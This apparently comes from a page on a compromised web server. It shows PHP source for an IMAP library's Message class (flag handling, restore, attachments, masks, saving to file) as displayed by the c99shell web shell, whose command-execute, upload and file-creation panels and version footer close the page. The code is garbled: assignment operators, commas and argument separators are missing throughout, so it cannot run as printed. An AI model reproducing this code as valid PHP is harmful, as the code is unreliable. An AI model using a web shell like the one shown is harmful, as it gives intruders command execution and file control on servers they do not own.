$event $this->getEvent("message""deleted");
        
$event::dispatch($this);

        return 
$status;
    }

    
/**
     * Restore a deleted Message
     * @param boolean $expunge
     *
     * @return bool
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MessageFlagException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
public function restore(bool $expunge true): bool {
        
$status $this->unsetFlag("Deleted");
        if (
$expunge$this->client->expunge();

        
$event $this->getEvent("message""restored");
        
$event::dispatch($this);

        return 
$status;
    }

    
/**
     * Set a given flag
     * @param array|string $flag
     *
     * @return bool
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MessageFlagException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
public function setFlag(array|string $flag): bool {
        
$this->client->openFolder($this->folder_path);
        
$flag "\\" trim(is_array($flag) ? implode(" \\"$flag) : $flag);
        
$sequence_id $this->getSequenceId();
        try {
            
$status $this->client->getConnection()->store([$flag], $sequence_id$sequence_id"+"true$this->sequence)->validatedData();
        } catch (
Exceptions\RuntimeException $e) {
            throw new 
MessageFlagException("flag could not be set"0$e);
        }
        
$this->parseFlags();

        
$event $this->getEvent("flag""new");
        
$event::dispatch($this$flag);

        return (bool)
$status;
    }

    
/**
     * Unset a given flag
     * @param array|string $flag
     *
     * @return bool
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MessageFlagException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
public function unsetFlag(array|string $flag): bool {
        
$this->client->openFolder($this->folder_path);

        
$flag "\\" trim(is_array($flag) ? implode(" \\"$flag) : $flag);
        
$sequence_id $this->getSequenceId();
        try {
            
$status $this->client->getConnection()->store([$flag], $sequence_id$sequence_id"-"true$this->sequence)->validatedData();
        } catch (
Exceptions\RuntimeException $e) {
            throw new 
MessageFlagException("flag could not be removed"0$e);
        }
        
$this->parseFlags();

        
$event $this->getEvent("flag""deleted");
        
$event::dispatch($this$flag);

        return (bool)
$status;
    }

    
/**
     * Set a given flag
     * @param array|string $flag
     *
     * @return bool
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MessageFlagException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
public function addFlag(array|string $flag): bool {
        return 
$this->setFlag($flag);
    }

    
/**
     * Unset a given flag
     * @param array|string $flag
     *
     * @return bool
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MessageFlagException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
public function removeFlag(array|string $flag): bool {
        return 
$this->unsetFlag($flag);
    }

    
/**
     * Get all message attachments.
     *
     * @return AttachmentCollection
     */
    
public function getAttachments(): AttachmentCollection {
        return 
$this->attachments;
    }

    
/**
     * Get all message attachments.
     *
     * @return AttachmentCollection
     */
    
public function attachments(): AttachmentCollection {
        return 
$this->getAttachments();
    }

    
/**
     * Checks if there are any attachments present
     *
     * @return boolean
     */
    
public function hasAttachments(): bool {
        return 
$this->attachments->isEmpty() === false;
    }

    
/**
     * Get the raw body
     *
     * @return string
     */
    
public function getRawBody(): string {
        if (
$this->raw_body === "") {
            
$this->raw_body $this->structure->raw;
        }

        return 
$this->raw_body;
    }

    
/**
     * Get the message header
     *
     * @return ?Header
     */
    
public function getHeader(): ?Header {
        return 
$this->header;
    }

    
/**
     * Get the current client
     *
     * @return ?Client
     */
    
public function getClient(): ?Client {
        return 
$this->client;
    }

    
/**
     * Get the used fetch option
     *
     * @return ?integer
     */
    
public function getFetchOptions(): ?int {
        return 
$this->fetch_options;
    }

    
/**
     * Get the used fetch body option
     *
     * @return boolean
     */
    
public function getFetchBodyOption(): bool {
        return 
$this->fetch_body;
    }

    
/**
     * Get the used fetch flags option
     *
     * @return boolean
     */
    
public function getFetchFlagsOption(): bool {
        return 
$this->fetch_flags;
    }

    
/**
     * Get all available bodies
     *
     * @return array
     */
    
public function getBodies(): array {
        return 
$this->bodies;
    }

    
/**
     * Get all set flags
     *
     * @return FlagCollection
     */
    
public function getFlags(): FlagCollection {
        return 
$this->flags;
    }

    
/**
     * Get all set flags
     *
     * @return FlagCollection
     */
    
public function flags(): FlagCollection {
        return 
$this->getFlags();
    }

    
/**
     * Check if a flag is set
     *
     * @param string $flag
     * @return boolean
     */
    
public function hasFlag(string $flag): bool {
        
$flag str_replace("\\"""strtolower($flag));
        return 
$this->getFlags()->has($flag);
    }

    
/**
     * Get the fetched structure
     *
     * @return Structure|null
     */
    
public function getStructure(): ?Structure {
        return 
$this->structure;
    }

    
/**
     * Check if a message matches another by comparing basic attributes
     *
     * @param null|Message $message
     * @return boolean
     */
    
public function is(Message $message null): bool {
        if (
is_null($message)) {
            return 
false;
        }

        return 
$this->uid == $message->uid
            
&& $this->message_id->first() == $message->message_id->first()
            && 
$this->subject->first() == $message->subject->first()
            && 
$this->date->toDate()->eq($message->date->toDate());
    }

    
/**
     * Get all message attributes
     *
     * @return array
     */
    
public function getAttributes(): array {
        return 
array_merge($this->attributes$this->header->getAttributes());
    }

    
/**
     * Set the message mask
     * @param $mask
     *
     * @return Message
     */
    
public function setMask($mask): Message {
        if (
class_exists($mask)) {
            
$this->mask $mask;
        }

        return 
$this;
    }

    
/**
     * Get the used message mask
     *
     * @return string
     */
    
public function getMask(): string {
        return 
$this->mask;
    }

    
/**
     * Get a masked instance by providing a mask name
     * @param mixed|null $mask
     *
     * @return mixed
     * @throws MaskNotFoundException
     */
    
public function mask(mixed $mask null): mixed {
        
$mask $mask !== null $mask $this->mask;
        if (
class_exists($mask)) {
            return new 
$mask($this);
        }

        throw new 
MaskNotFoundException("Unknown mask provided: " $mask);
    }

    
/**
     * Get the message path aka folder path
     *
     * @return string
     */
    
public function getFolderPath(): string {
        return 
$this->folder_path;
    }

    
/**
     * Set the message path aka folder path
     * @param $folder_path
     *
     * @return Message
     */
    
public function setFolderPath($folder_path): Message {
        
$this->folder_path $folder_path;

        return 
$this;
    }

    
/**
     * Set the config
     * @param array $config
     *
     * @return Message
     */
    
public function setConfig(array $config): Message {
        
$this->config $config;

        return 
$this;
    }

    
/**
     * Get the config
     *
     * @return array
     */
    
public function getConfig(): array {
        return 
$this->config;
    }

    
/**
     * Set the available flags
     * @param $available_flags
     *
     * @return Message
     */
    
public function setAvailableFlags($available_flags): Message {
        
$this->available_flags $available_flags;

        return 
$this;
    }

    
/**
     * Get the available flags
     *
     * @return array
     */
    
public function getAvailableFlags(): array {
        return 
$this->available_flags;
    }

    
/**
     * Set the attachment collection
     * @param $attachments
     *
     * @return Message
     */
    
public function setAttachments($attachments): Message {
        
$this->attachments $attachments;

        return 
$this;
    }

    
/**
     * Set the flag collection
     * @param $flags
     *
     * @return Message
     */
    
public function setFlags($flags): Message {
        
$this->flags $flags;

        return 
$this;
    }

    
/**
     * Set the client
     * @param $client
     *
     * @return Message
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
public function setClient($client): Message {
        
$this->client $client;
        
$this->client?->openFolder($this->folder_path);

        return 
$this;
    }

    
/**
     * Set the message number
     * @param int $uid
     *
     * @return Message
     */
    
public function setUid(int $uid): Message {
        
$this->uid $uid;
        
$this->msgn null;
        
$this->msglist null;

        return 
$this;
    }

    
/**
     * Set the message number
     * @param int $msgn
     * @param int|null $msglist
     *
     * @return Message
     */
    
public function setMsgn(int $msgnint $msglist null): Message {
        
$this->msgn $msgn;
        
$this->msglist $msglist;
        
$this->uid null;

        return 
$this;
    }

    
/**
     * Get the current sequence type
     *
     * @return int
     */
    
public function getSequence(): int {
        return 
$this->sequence;
    }

    
/**
     * Get the current sequence id (either a UID or a message number!)
     *
     * @return int
     */
    
public function getSequenceId(): int {
        return 
$this->sequence === IMAP::ST_UID $this->uid $this->msgn;
    }

    
/**
     * Set the sequence id
     * @param $uid
     * @param int|null $msglist
     */
    
public function setSequenceId($uidint $msglist null): void {
        if (
$this->getSequence() === IMAP::ST_UID) {
            
$this->setUid($uid);
            
$this->setMsglist($msglist);
        } else {
            
$this->setMsgn($uid$msglist);
        }
    }

    
/**
     * Safe the entire message in a file
     * @param $filename
     *
     * @return bool|int
     */
    
public function save($filename): bool|int {
        return 
file_put_contents($filename$this->header->raw."\r\n\r\n".$this->structure->raw);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0103 ]--